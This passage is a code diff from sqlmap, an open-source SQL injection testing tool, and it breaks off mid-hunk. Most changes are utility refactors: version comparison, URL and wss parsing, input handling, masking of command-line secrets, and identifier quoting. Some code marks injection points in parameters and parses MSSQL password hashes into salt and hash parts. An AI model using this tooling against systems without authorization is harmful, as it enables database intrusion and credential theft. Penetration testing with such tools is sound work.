             else:
                 prefix += " WHERE %s" % conf.dumpWhere
 
-            query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix
+            query = prefix
+            if suffix:
+                query += suffix
 
         return query
 

lib/core/bigarray.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -51,6 +51,11 @@ class Cache(object):
 class BigArray(list):
     """
     List-like class used for storing large amounts of data (disk cached)
+
+    >>> _ = BigArray(xrange(100000))
+    >>> _[20] = 0
+    >>> _[100]
+    100
     """
 
     def __init__(self, items=None):

lib/core/common.py

@@ -1,16 +1,17 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from __future__ import division
+
 import binascii
 import codecs
 import collections
 import contextlib
 import copy
-import distutils
 import functools
 import getpass
 import hashlib
@@ -45,7 +46,6 @@ from xml.sax import SAXParseException
 
 from extra.beep.beep import beep
 from extra.cloak.cloak import decloak
-from extra.safe2bin.safe2bin import safecharencode
 from lib.core.bigarray import BigArray
 from lib.core.compat import cmp
 from lib.core.compat import round
@@ -68,11 +68,12 @@ from lib.core.decorators import cachedmethod
 from lib.core.defaults import defaults
 from lib.core.dicts import DBMS_DICT
 from lib.core.dicts import DEFAULT_DOC_ROOTS
+from lib.core.dicts import DEPRECATED_OPTIONS
 from lib.core.dicts import OBSOLETE_OPTIONS
 from lib.core.dicts import SQL_STATEMENTS
 from lib.core.enums import ADJUST_TIME_DELAY
-from lib.core.enums import CONTENT_STATUS
 from lib.core.enums import CHARSET_TYPE
+from lib.core.enums import CONTENT_STATUS
 from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
 from lib.core.enums import HEURISTIC_TEST
@@ -90,9 +91,9 @@ from lib.core.enums import SORT_ORDER
 from lib.core.exception import SqlmapBaseException
 from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapGenericException
-from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapInstallationException
 from lib.core.exception import SqlmapMissingDependence
+from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapSyntaxException
 from lib.core.exception import SqlmapSystemException
@@ -108,9 +109,9 @@ from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES
 from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK
 from lib.core.settings import BURP_REQUEST_REGEX
 from lib.core.settings import BURP_XML_HISTORY_REGEX
-from lib.core.settings import DBMS_DIRECTORY_DICT
 from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
 from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
+from lib.core.settings import DBMS_DIRECTORY_DICT
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DEFAULT_MSSQL_SCHEMA
@@ -129,6 +130,7 @@ from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX
 from lib.core.settings import HASHDB_MILESTONE_VALUE
 from lib.core.settings import HOST_ALIASES
 from lib.core.settings import HTTP_CHUNKED_SPLIT_KEYWORDS
+from lib.core.settings import IGNORE_PARAMETERS
 from lib.core.settings import IGNORE_SAVE_OPTIONS
 from lib.core.settings import INFERENCE_UNKNOWN_CHAR
 from lib.core.settings import IP_ADDRESS_REGEX
@@ -138,6 +140,7 @@ from lib.core.settings import IS_WIN
 from lib.core.settings import LARGE_OUTPUT_THRESHOLD
 from lib.core.settings import LOCALHOST
 from lib.core.settings import MIN_ENCODED_LEN_CHECK
+from lib.core.settings import MIN_ERROR_PARSING_NON_WRITING_RATIO
 from lib.core.settings import MIN_TIME_RESPONSES
 from lib.core.settings import MIN_VALID_DELAYED_RESPONSE
 from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES
@@ -172,10 +175,12 @@ from lib.core.settings import URI_QUESTION_MARKER
 from lib.core.settings import URLENCODE_CHAR_LIMIT
 from lib.core.settings import URLENCODE_FAILSAFE_CHARS
 from lib.core.settings import USER_AGENT_ALIASES
+from lib.core.settings import VERSION_COMPARISON_CORRECTION
 from lib.core.settings import VERSION_STRING
 from lib.core.settings import ZIP_HEADER
 from lib.core.settings import WEBSCARAB_SPLITTER
 from lib.core.threads import getCurrentThreadData
+from lib.utils.safe2bin import safecharencode
 from lib.utils.sqlalchemy import _sqlalchemy
 from thirdparty import six
 from thirdparty.clientform.clientform import ParseResponse
@@ -513,7 +518,7 @@ class Backend(object):
 
     @staticmethod
     def getVersion():
-        versions = filterNone(flattenValue(kb.dbmsVersion))
+        versions = filterNone(flattenValue(kb.dbmsVersion)) if not isinstance(kb.dbmsVersion, six.string_types) else [kb.dbmsVersion]
         if not isNoneValue(versions):
             return versions[0]
         else:
@@ -521,7 +526,7 @@ class Backend(object):
 
     @staticmethod
     def getVersionList():
-        versions = filterNone(flattenValue(kb.dbmsVersion))
+        versions = filterNone(flattenValue(kb.dbmsVersion)) if not isinstance(kb.dbmsVersion, six.string_types) else [kb.dbmsVersion]
         if not isNoneValue(versions):
             return versions
         else:
@@ -619,8 +624,8 @@ def paramToDict(place, parameters=None):
                 if parameter in (conf.base64Parameter or []):
                     try:
                         oldValue = value
-                        value = decodeBase64(value, binary=False)
-                        parameters = re.sub(r"\b%s\b" % re.escape(oldValue), value, parameters)
+                        value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
+                        parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
                     except:
                         errMsg = "parameter '%s' does not contain " % parameter
                         errMsg += "valid Base64 encoded value ('%s')" % value
@@ -697,7 +702,7 @@ def paramToDict(place, parameters=None):
                             message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % getUnicode(_)
 
                             if readInput(message, default='N', boolean=True):
-                                testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), (r"\g<1>%s" % re.sub(regex, r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])).replace("\\", r"\\"), parameters)
+                                testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), (r"\g<1>%s" % re.sub(regex, r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter].replace("\\", r"\\"))), parameters)
                             break
 
     if conf.testParameter:
@@ -929,7 +934,7 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
     retVal = message
     level = level or extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
 
-    if message and IS_TTY or istty:  # colorizing handler
+    if message and (IS_TTY or istty) and not conf.get("disableColoring"):  # colorizing handler
         if bold or color:
             retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
         elif level:
@@ -1099,7 +1104,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
                 dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True)
                 kb.prependFlag = False
 
-                retVal = _input().strip() or default
+                retVal = _input()
+                if not retVal:  # Note: Python doesn't print newline on empty input
+                    dataToStdout("\n")
+                retVal = retVal.strip() or default
                 retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
             except:
                 try:
@@ -1118,8 +1126,24 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
 
     if boolean:
         retVal = retVal.strip().upper() == 'Y'
+    else:
+        retVal = retVal or ""
 
-    return retVal or ""
+    return retVal
+
+def setTechnique(technique):
+    """
+    Thread-safe setting of currently used technique (Note: dealing with cases of per-thread technique switching)
+    """
+
+    getCurrentThreadData().technique = technique
+
+def getTechnique():
+    """
+    Thread-safe getting of currently used technique
+    """
+
+    return getCurrentThreadData().technique or kb.get("technique")
 
 def randomRange(start=0, stop=1000, seed=None):
     """
@@ -1213,7 +1237,7 @@ def checkPipedInput():
     # Reference: https://stackoverflow.com/a/33873570
     """
 
-    return not os.isatty(sys.stdin.fileno())
+    return not os.isatty(sys.stdin.fileno()) if hasattr(sys.stdin, "fileno") else False
 
 def isZipFile(filename):
     """
@@ -1227,6 +1251,22 @@ def isZipFile(filename):
 
     return openFile(filename, "rb", encoding=None).read(len(ZIP_HEADER)) == ZIP_HEADER
 
+def isDigit(value):
+    """
+    Checks if provided (string) value consists of digits (Note: Python's isdigit() is problematic)
+
+    >>> u'\xb2'.isdigit()
+    True
+    >>> isDigit(u'\xb2')
+    False
+    >>> isDigit('123456')
+    True
+    >>> isDigit('3b3')
+    False
+    """
+
+    return re.search(r"\A[0-9]+\Z", value or "") is not None
+
 def checkFile(filename, raiseOnError=True):
     """
     Checks for file existence and readability
@@ -1267,36 +1307,43 @@ def banner():
     """
 
     if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
-        _ = BANNER
+        result = BANNER
 
         if not IS_TTY or "--disable-coloring" in sys.argv:
-            _ = clearColors(_)
+            result = clearColors(result)
         elif IS_WIN:
             coloramainit()
 
-        dataToStdout(_, forceOutput=True)
+        dataToStdout(result, forceOutput=True)
 
 def parsePasswordHash(password):
     """
     In case of Microsoft SQL Server password hash value is expanded to its components
+
+    >>> pushValue(kb.forcedDbms)
+    >>> kb.forcedDbms = DBMS.MSSQL
+    >>> "salt: 4086ceb6" in parsePasswordHash("0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a")
+    True
+    >>> kb.forcedDbms = popValue()
     """
 
     blank = " " * 8
 
-    if not password or password == " ":
-        password = NULL
+    if isNoneValue(password) or password == " ":
+        retVal = NULL
+    else:
+        retVal = password
 
-    if Backend.isDbms(DBMS.MSSQL) and password != NULL and isHexEncodedString(password):
-        hexPassword = password
-        password = "%s\n" % hexPassword
-        password += "%sheader: %s\n" % (blank, hexPassword[:6])
-        password += "%ssalt: %s\n" % (blank, hexPassword[6:14])
-        password += "%smixedcase: %s\n" % (blank, hexPassword[14:54])
+    if Backend.isDbms(DBMS.MSSQL) and retVal != NULL and isHexEncodedString(password):
+        retVal = "%s\n" % password
+        retVal += "%sheader: %s\n" % (blank, password[:6])
+        retVal += "%ssalt: %s\n" % (blank, password[6:14])
+        retVal += "%smixedcase: %s\n" % (blank, password[14:54])
 
-        if not Backend.isVersionWithin(("2005", "2008")):
-            password += "%suppercase: %s" % (blank, hexPassword[54:])
+        if password[54:]:
+            retVal += "%suppercase: %s" % (blank, password[54:])
 
-    return password
+    return retVal
 
 def cleanQuery(query):
     """
@@ -1342,6 +1389,7 @@ def setPaths(rootPath):
 
     # sqlmap files
     paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
+    paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt")
     paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
     paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
     paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt")
@@ -1476,7 +1524,7 @@ def parseTargetDirect():
 
                 if dbmsName in (DBMS.MSSQL, DBMS.SYBASE):
                     __import__("_mssql")
-                    import pymssql
+                    pymssql = __import__("pymssql")
 
                     if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
                         errMsg = "'%s' third-party library must be " % data[1]
@@ -1537,7 +1585,7 @@ def parseTargetUrl():
         errMsg += "on this platform"
         raise SqlmapGenericException(errMsg)
 
-    if not re.search(r"^https?://", conf.url, re.I) and not re.search(r"^wss?://", conf.url, re.I):
+    if not re.search(r"^(http|ws)s?://", conf.url, re.I):
         if re.search(r":443\b", conf.url):
             conf.url = "https://%s" % conf.url
         else:
@@ -1556,10 +1604,13 @@ def parseTargetUrl():
 
     hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filterNone((re.search(r"\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P<port>\d+))?", urlSplit.netloc).group("port")))
 
-    conf.scheme = (urlSplit.scheme.strip().lower() or "http") if not conf.forceSSL else "https"
+    conf.scheme = (urlSplit.scheme.strip().lower() or "http")
     conf.path = urlSplit.path.strip()
     conf.hostname = hostnamePort[0].strip()
 
+    if conf.forceSSL:
+        conf.scheme = re.sub(r"(?i)\A(http|ws)\Z", r"\g<1>s", conf.scheme)
+
     conf.ipv6 = conf.hostname != conf.hostname.strip("[]")
     conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "")
 
@@ -1581,7 +1632,7 @@ def parseTargetUrl():
         except:
             errMsg = "invalid target URL"
             raise SqlmapSyntaxException(errMsg)
-    elif conf.scheme == "https":
+    elif conf.scheme in ("https", "wss"):
         conf.port = 443
     else:
         conf.port = 80
@@ -1597,7 +1648,7 @@ def parseTargetUrl():
         if '=' not in urlSplit.query:
             conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query))
         else:
-            conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
+            conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
 
     if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
         debugMsg = "setting the HTTP Referer header to the target URL"
@@ -1651,7 +1702,7 @@ def expandAsteriskForColumns(expression):
         if db is None:
             if expression != conf.sqlQuery:
                 conf.db = db
-            else:
+            elif conf.db:
                 expression = re.sub(r"([^\w])%s" % re.escape(conf.tbl), r"\g<1>%s.%s" % (conf.db, conf.tbl), expression)
         else:
             conf.db = db
@@ -1924,7 +1975,7 @@ def safeFilepathEncode(filepath):
     retVal = filepath
 
     if filepath and six.PY2 and isinstance(filepath, six.text_type):
-        retVal = filepath.encode(sys.getfilesystemencoding() or UNICODE_ENCODING)
+        retVal = getBytes(filepath, sys.getfilesystemencoding() or UNICODE_ENCODING)
 
     return retVal
 
@@ -2530,7 +2581,7 @@ def pushValue(value):
     Push value to the stack (thread dependent)
     """
 
-    _ = None
+    exception = None
     success = False
 
     for i in xrange(PUSH_VALUE_EXCEPTION_RETRY_COUNT):
@@ -2539,13 +2590,13 @@ def pushValue(value):
             success = True
             break
         except Exception as ex:
-            _ = ex
+            exception = ex
 
     if not success:
         getCurrentThreadData().valueStack.append(None)
 
-        if _:
-            raise _
+        if exception:
+            raise exception
 
 def popValue():
     """
@@ -2649,12 +2700,15 @@ def extractErrorMessage(page):
     retVal = None
 
     if isinstance(page, six.string_types):
+        if wasLastResponseDBMSError():
+            page = re.sub(r"<[^>]+>", "", page)
+
         for regex in ERROR_PARSING_REGEXES:
             match = re.search(regex, page, re.IGNORECASE)
 
             if match:
                 candidate = htmlUnescape(match.group("result")).replace("<br>", "\n").strip()
-                if re.search(r"\b([a-z]+ ){5}", candidate) is None:  # check for legitimate (e.g. Warning:...) text
+                if candidate and (1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate)) / len(candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO):
                     retVal = candidate
                     break
 
@@ -2714,7 +2768,7 @@ def findMultipartPostBoundary(post):
 
     return retVal
 
-def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
+def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
     """
     URL decodes given value
 
@@ -3100,37 +3154,72 @@ def filterNone(values):
 
     return retVal
 
-def isDBMSVersionAtLeast(version):
+def isDBMSVersionAtLeast(minimum):
     """
     Checks if the recognized DBMS version is at least the version specified
+
+    >>> pushValue(kb.dbmsVersion)
+    >>> kb.dbmsVersion = "2"
+    >>> isDBMSVersionAtLeast("1.3.4.1.4")
+    True
+    >>> isDBMSVersionAtLeast(2.1)
+    False
+    >>> isDBMSVersionAtLeast(">2")
+    False
+    >>> isDBMSVersionAtLeast(">=2.0")
+    True
+    >>> kb.dbmsVersion = "<2"
+    >>> isDBMSVersionAtLeast("2")
+    False
+    >>> isDBMSVersionAtLeast("1.5")
+    True
+    >>> kb.dbmsVersion = "MySQL 5.4.3-log4"
+    >>> isDBMSVersionAtLeast("5")
+    True
+    >>> kb.dbmsVersion = popValue()
     """
 
     retVal = None
 
-    if Backend.getVersion() and Backend.getVersion() != UNKNOWN_DBMS_VERSION:
-        value = Backend.getVersion().replace(" ", "").rstrip('.')
+    if not any(isNoneValue(_) for _ in (Backend.getVersion(), minimum)) and Backend.getVersion() != UNKNOWN_DBMS_VERSION:
+        version = Backend.getVersion().replace(" ", "").rstrip('.')
 
-        while True:
-            index = value.find('.', value.find('.') + 1)
+        correction = 0.0
+        if ">=" in version:
+            pass
+        elif '>' in version:
+            correction = VERSION_COMPARISON_CORRECTION
+        elif '<' in version:
+            correction = -VERSION_COMPARISON_CORRECTION
 
-            if index > -1:
-                value = value[0:index] + value[index + 1:]
-            else:
-                break
+        version = extractRegexResult(r"(?P<result>[0-9][0-9.]*)", version)
 
-        value = filterStringValue(value, '[0-9.><=]')
+        if version:
+            if '.' in version:
+                parts = version.split('.', 1)
+                parts[1] = filterStringValue(parts[1], '[0-9]')
+                version = '.'.join(parts)
 
-        if value and isinstance(value, six.string_types):
-            if value.startswith(">="):
-                value = float(value.replace(">=", ""))
-            elif value.startswith(">"):
-                value = float(value.replace(">", "")) + 0.01
-            elif value.startswith("<="):
-                value = float(value.replace("<=", ""))
-            elif value.startswith(">"):
-                value = float(value.replace("<", "")) - 0.01
+            try:
+                version = float(filterStringValue(version, '[0-9.]')) + correction
+            except ValueError:
+                return None
 
-            retVal = distutils.version.LooseVersion(getUnicode(value)) >= distutils.version.LooseVersion(getUnicode(version))
+            if isinstance(minimum, six.string_types):
+                if '.' in minimum:
+                    parts = minimum.split('.', 1)
+                    parts[1] = filterStringValue(parts[1], '[0-9]')
+                    minimum = '.'.join(parts)
+
+                correction = 0.0
+                if minimum.startswith(">="):
+                    pass
+                elif minimum.startswith(">"):
+                    correction = VERSION_COMPARISON_CORRECTION
+
+                minimum = float(filterStringValue(minimum, '[0-9.]')) + correction
+
+            retVal = version >= minimum
 
     return retVal
 
@@ -3165,7 +3254,7 @@ def getTechniqueData(technique=None):
     Returns injection data for technique specified
     """
 
-    return kb.injection.data.get(technique)
+    return kb.injection.data.get(technique if technique is not None else getTechnique())
 
 def isTechniqueAvailable(technique):
     """
@@ -3178,7 +3267,7 @@ def isTechniqueAvailable(technique):
     >>> kb.injection.data = popValue()
     """
 
-    if conf.tech and isinstance(conf.tech, list) and technique not in conf.tech:
+    if conf.technique and isinstance(conf.technique, list) and technique not in conf.technique:
         return False
     else:
         return getTechniqueData(technique) is not None
@@ -3188,18 +3277,16 @@ def isHeavyQueryBased(technique=None):
     Returns True whether current (kb.)technique is heavy-query based
 
     >>> pushValue(kb.injection.data)
-    >>> pushValue(kb.technique)
-    >>> kb.technique = PAYLOAD.TECHNIQUE.STACKED
-    >>> kb.injection.data[kb.technique] = [test for test in getSortedInjectionTests() if "heavy" in test["title"].lower()][0]
+    >>> setTechnique(PAYLOAD.TECHNIQUE.STACKED)
+    >>> kb.injection.data[getTechnique()] = [test for test in getSortedInjectionTests() if "heavy" in test["title"].lower()][0]
     >>> isHeavyQueryBased()
     True
-    >>> kb.technique = popValue()
     >>> kb.injection.data = popValue()
     """
 
     retVal = False
 
-    technique = technique or kb.technique
+    technique = technique or getTechnique()
 
     if isTechniqueAvailable(technique):
         data = getTechniqueData(technique)
@@ -3402,6 +3489,23 @@ def flattenValue(value):
         else:
             yield i
 
+def joinValue(value, delimiter=','):
+    """
+    Returns a value consisting of joined parts of a given value
+
+    >>> joinValue(['1', '2'])
+    '1,2'
+    >>> joinValue('1')
+    '1'
+    """
+
+    if isListLike(value):
+        retVal = delimiter.join(value)
+    else:
+        retVal = value
+
+    return retVal
+
 def isListLike(value):
     """
     Returns True if the given value is a list-like instance
@@ -3481,8 +3585,14 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
 
     >>> "openFile" in openFile(__file__).read()
     True
+    >>> b"openFile" in openFile(__file__, "rb", None).read()
+    True
     """
 
+    # Reference: https://stackoverflow.com/a/37462452
+    if 'b' in mode:
+        buffering = 0
+
     if filename == STDIN_PIPE_DASH:
         if filename not in kb.cache.content:
             kb.cache.content[filename] = sys.stdin.read()
@@ -3494,7 +3604,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
         except IOError:
             errMsg = "there has been a file opening error for filename '%s'. " % filename
             errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
-            errMsg += "and that it's not locked by another process."
+            errMsg += "and that it's not locked by another process"
             raise SqlmapSystemException(errMsg)
 
 def decodeIntToUnicode(value):
@@ -3512,16 +3622,20 @@ def decodeIntToUnicode(value):
         try:
             if value > 255:
                 _ = "%x" % value
+
                 if len(_) % 2 == 1:
                     _ = "0%s" % _
+
                 raw = decodeHex(_)
 
                 if Backend.isDbms(DBMS.MYSQL):
+                    # Reference: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ord
                     # Note: https://github.com/sqlmapproject/sqlmap/issues/1531
                     retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING)
                 elif Backend.isDbms(DBMS.MSSQL):
+                    # Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478
                     retVal = getUnicode(raw, "UTF-16-BE")
-                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE):
+                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE):     # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/)
                     retVal = _unichr(value)
                 else:
                     retVal = getUnicode(raw, conf.encoding)
@@ -3587,7 +3701,7 @@ def unhandledExceptionMessage():
     errMsg += "Python version: %s\n" % PYVERSION
     errMsg += "Operating system: %s\n" % platform.platform()
     errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
-    errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None))
+    errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None))
     errMsg += "Back-end DBMS:"
 
     if Backend.getDbms() is not None:
@@ -3607,7 +3721,7 @@ def getLatestRevision():
     """
 
     retVal = None
-    req = _urllib.request.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py")
+    req = _urllib.request.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py", headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()})
 
     try:
         content = getUnicode(_urllib.request.urlopen(req).read())
@@ -3707,7 +3821,7 @@ def createGithubIssue(errMsg, excMsg):
             logger.info(infoMsg)
 
             try:
-                with open(paths.GITHUB_HISTORY, "a+b") as f:
+                with openFile(paths.GITHUB_HISTORY, "a+b") as f:
                     f.write("%s\n" % key)
             except:
                 pass
@@ -3725,6 +3839,8 @@ def maskSensitiveData(msg):
 
     >>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') == 'python sqlmap.py -u *********************************** --banner'
     True
+    >>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index') == 'sqlmap.py -u **************************'
+    True
     """
 
     retVal = getUnicode(msg)
@@ -3739,7 +3855,7 @@ def maskSensitiveData(msg):
             retVal = retVal.replace(value, '*' * len(value))
 
     # Just in case (for problematic parameters regarding user encoding)
-    for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie|auth-\w+|proxy)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal):
+    for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal):
         retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
 
     # Fail-safe substitutions
@@ -3939,6 +4055,14 @@ def safeSQLIdentificatorNaming(name, isTable=False):
     Returns a safe representation of SQL identificator name (internal data format)
 
     # Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal
+
+    >>> pushValue(kb.forcedDbms)
+    >>> kb.forcedDbms = DBMS.MSSQL
+    >>> getText(safeSQLIdentificatorNaming("begin"))
+    '[begin]'
+    >>> getText(safeSQLIdentificatorNaming("foobar"))
+    'foobar'
+    >>> kb.forceDbms = popValue()
     """
 
     retVal = name
@@ -3953,9 +4077,9 @@ def safeSQLIdentificatorNaming(name, isTable=False):
         if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal):  # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
             retVal = unsafeSQLIdentificatorNaming(retVal)
 
-            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
+            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
                 retVal = "`%s`" % retVal
-            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
+            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
                 retVal = "\"%s\"" % retVal
             elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
                 retVal = "\"%s\"" % retVal.upper()
@@ -3978,14 +4102,22 @@ def safeSQLIdentificatorNaming(name, isTable=False):
 def unsafeSQLIdentificatorNaming(name):
     """
     Extracts identificator's name from its safe SQL representation
+
+    >>> pushValue(kb.forcedDbms)
+    >>> kb.forcedDbms = DBMS.MSSQL
+    >>> getText(unsafeSQLIdentificatorNaming("[begin]"))
+    'begin'
+    >>> getText(unsafeSQLIdentificatorNaming("foobar"))
+    'foobar'
+    >>> kb.forceDbms = popValue()
     """
 
     retVal = name
 
     if isinstance(name, six.string_types):
-        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
+        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
             retVal = name.replace("`", "")
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB):
             retVal = name.replace("\"", "")
         elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
             retVal = name.replace("\"", "").upper()
@@ -4230,18 +4362,23 @@ def asciifyUrl(url, forceQuote=False):
     """
 
     parts = _urllib.parse.urlsplit(url)
-    if not parts.scheme or not parts.netloc:
+    if not all((parts.scheme, parts.netloc, parts.hostname)):
         # apparently not an url
         return getText(url)
 
     if all(char in string.printable for char in url):
         return getText(url)
 
+    hostname = parts.hostname
+
+    if isinstance(hostname, six.binary_type):
+        hostname = getUnicode(hostname)
+
     # idna-encode domain
     try:
-        hostname = parts.hostname.encode("idna")
-    except LookupError:
-        hostname = parts.hostname.encode("punycode")
+        hostname = hostname.encode("idna")
+    except:
+        hostname = hostname.encode("punycode")
 
     # UTF8-quote the other parts. We check each part individually if
     # if needs to be quoted - that should catch some additional user
@@ -4316,9 +4453,9 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
     True
     """
 
-    class _(six.StringIO):
+    class _(six.StringIO, object):
         def __init__(self, content, url):
-            six.StringIO.__init__(self, content)
+            super(_, self).__init__(content)
             self._url = url
 
         def geturl(self):
@@ -4338,9 +4475,9 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
     try:
         forms = ParseResponse(response, backwards_compat=False)
     except ParseError:
-        if re.search(r"(?i)<!DOCTYPE html|<html", content or ""):
-            warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
-            logger.warning(warnMsg)
+        if re.search(r"(?i)<!DOCTYPE html|<html", content or "") and not re.search(r"(?i)\.js(\?|\Z)", url):
+            dbgMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
+            logger.debug(dbgMsg)
             filtered = _("".join(re.findall(FORM_SEARCH_REGEX, content)), url)
 
             if filtered and filtered != content:
@@ -4355,54 +4492,77 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
     except:
         pass
 
-    if forms:
-        for form in forms:
-            try:
-                for control in form.controls:
-                    if hasattr(control, "items") and not any((control.disabled, control.readonly)):
-                        # if control has selectable items select first non-disabled
-                        for item in control.items:
-                            if not item.disabled:
-                                if not item.selected:
-                                    item.selected = True
-                                break
+    for form in forms or []:
+        try:
